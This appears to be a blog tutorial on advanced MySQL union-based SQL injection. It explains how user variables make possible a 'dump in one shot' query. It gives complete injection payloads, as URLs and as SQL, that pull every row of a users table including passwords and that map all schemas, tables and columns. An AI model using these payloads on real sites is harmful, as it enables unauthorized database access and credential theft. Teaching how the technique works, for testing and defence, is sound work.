One SQLi to rule them all

Advanced SQL injection

In State of the Union I cover basic union based MySQL injection techniques which have some limitations, in this post I'll cover some more advanced techniques that allow you to select entire tables and how that can be used to map out all the schemas, tables and columns in a single query.

Introduction to variables

More advanced MySQL injection makes use of user assigned variables, the documentation for assigning MySQL variables can be found here.

You may have already used system defined variables such as the MySQL server version which is referenced with @@version, in a similar way user defined variables are referenced with a single @ and then the name you wish to give it.

In a SET statement the syntax for assigning a user variable is:

SET @var_name = expr [, @var_name = expr] ...

However if you wish to use variables outside of a SET statement, such as when we inject inside of an existing SELECT statement, then you assign a variable using

@var_name := expr

The reason you cannot use regular = is because this is treated as a comparison operator outside of SET statements. It's worth noting at this stage that you don't need to provide a variable name other than just @ by itself, so @:=1234 is valid.

Limitations of concat() and group_concat()

Typically when first learning SQLi you'll start by using UNION to append some data you want to the data that's legitimately used to populate the web page, then you set the condition for pulling the legitimate data to return zero results and what appears in the page is simply whatever you've appended. The basic way of selecting data is shown below, this example is taken from my blog post called State of the Union, note that everything in green is static and everything in red is user supplied input.

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

This example is selecting a list of schemas from the table "information_schema.schemata", because the result is returned to a single column of a larger result set it has to be a single string, this is the purpose of group_concat().

A problem that you might run into is concat and group_concat have a server defined maximum length and the default is 1024 characters, this limits the amount of data you can get from any single query using this method. You could potentially select one row of data at a time by swapping group_concat() for concat() and then setting a LIMIT to pick the row you want to select, but this is tedious.

Selecting an entire table in one query

The following select statement is a template for selecting the columns you want from a specific table, you simply replace TABLE with the schema.table you want to select from and COLUMNS with a list of comma separated column names, plus whatever formatting you want to make the output easily readable.

(select (@) from (select (@:=0x00),(select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))))x)

This looks a bit intimidating at first, so let's break this down into smaller parts and look at what each part means and why it's used. Keep in mind that SQL is interpreted by the server from the inner most sub-selects first, so to understand this we'll follow the same method. Let's start with the highlighted section first.

(select (@) from (select (@:=0x00),(select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))))x)

The section in orange is evaluated first, it simply assigns the user variable called @ the value 0x00 which is the hex representation of ASCII NULL, note this is not the same value as DB NULL which represents a field in the database has no value. The purpose of this is to make sure this variable is empty as it may contain data from being used previously, the MySQL server retains user assigned variables between queries, it's not strictly required the first time you use it.

Next the section in blue is evaluated.

(select (@) from (select (@:=0x00),(select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))))x)

Or isolated by itself:

select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))

Lets look at the select part first, this statement can be simplified by ignoring the condition at the end for now and consider what value is actually being selected.

SELECT 'somestring' from TABLE WHERE [some condition]

The behaviour of MySQL when selecting a string or in this case a variable from a table, rather than a specific column or columns, is to simply return the string. This is a helpful trick I use in a blog post called SELECT tips,tricks FROM help INTO OUTFILE 'user@localhost' where this same method can be used to select arbitrary data into OUTFILE and write the result to the local file system. So for example:

SELECT 'Hello World!' FROM news

The result of this query is just literally just the string 'Hello World!', as long as the table "news" actually exists. This means you can think of the result of the entire part of the query in blue to simply be the variable @

Let's stop to consider what our query now looks like when we simplify it

(select (@) from (select NULL,@)x)

But what value does @ actually have? This is where the conditional clause comes in, lets now consider the end of the blue sub-select, we'll replace the table and columns with fictional examples.

select (@) from news where (@) in (@:=concat(@,0x0a,id,0x3a,headline,0x3a,body))

Here a clever trick is being used, when the whole statement is run at this point all that has occurred is @ has been set to NULL, and we're now setting the value of @ to be the concat() of itself, a new line character then the columns called id,headline,body from the first row of the table news, all separated by 0x3a which is the hex value for ":" just to make the results easier to read.

The WHERE/IN clause is forcing MySQL to evaluate every row of the table called news one row at a time re-assigning the variable @ every single row, because @ is inside the concat() function the value of the next row is appended onto the value of the last, this loop repeats until every row has been read.

We need this trick because there is no append operator in MySQL there is only assignment ":=", if you're used to programming you might find it helpful to consider this as equivelent to using the assignment operator "+=" that most languages support, where a+=b is the same as a=a+b. If you left out the variable @ from inside the concat() function then you'd simply be reassigning @ each row losing the previous value each time, the final value would simply be the last row in the table which isn't what we want.

Now we know what @ finally equals, that is all the rows of the table we've selected from, let's reconsider our simplified query:

(select (@) from (select NULL,@)x)

We're selecting the @ variable which is just one large string containing the entire table, as we've learnt before this select simply returns the value of the string. It's being selected from a temporary table we've created by selecting NULL and @ from elsewhere, the x on the end is an alias for this table, every temporary table created requires an alias otherwise you'll get the error "every derived table must have its own alias".

All that is left to do is use this entire select statement as a replacement for one of the columns of our UNION. Here's a fictional example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,(select (@) from (select (@:=0x00),(select (@) from users where (@) in (@:=concat(@,0x0a,id,0x3a,username,0x3a,passwd))))x),3,4--

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,(select (@) from (select (@:=0x00),(select (@) from users where (@) in (@:=concat(@,0x0a,id,0x3a,username,0x3a,passwd))))x),3,4--

The result of this will be a single string inserted into the web page instead of column 2 (the headline), which contains the "id", "username" and "passwd" columns from every row of the "users" table, it will be formatted so each row from the table is on a new line and columns are separated by colons.

Selecting all schemas, tables and columns in one query

We can use this technique to essentially map out the entire database in a single query also known as DIOS (Dump In One Shot), we simply use the same technique but read the meta data about the database from the schema called "information_schema" and the table called "columns". This table contains every column name in the database, what table it belongs to and what schema that table belongs to. Our modified query looks like this:

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_schema,0x3a,table_name,0x3a,column_name))))x)

You'll note that I've added some conditions, this is to exclude all rows which contain the table_schema called "information_schema", or rather the hex encoded equivalent. The information_schema contains meta data on all schemas including itself and because the information_schema is a fixed format and it's already well documented we don't need to select that, it will just inflate the result to be much bigger than we need, we're only generally interested in custom user created tables.

Our example now becomes:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_schema,0x3a,table_name,0x3a,column_name))))x),3,4--

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_schema,0x3a,table_name,0x3a,column_name))))x),3,4--

The result of which will be one long string where each line contains the fields schema name, table name and column name for every column in the database, each separated by colons and each on a new line.

If you have a question please leave a comment and I'll get back to you, please note that any questions referencing real websites with live SQL injection vulnerabilities will be deleted.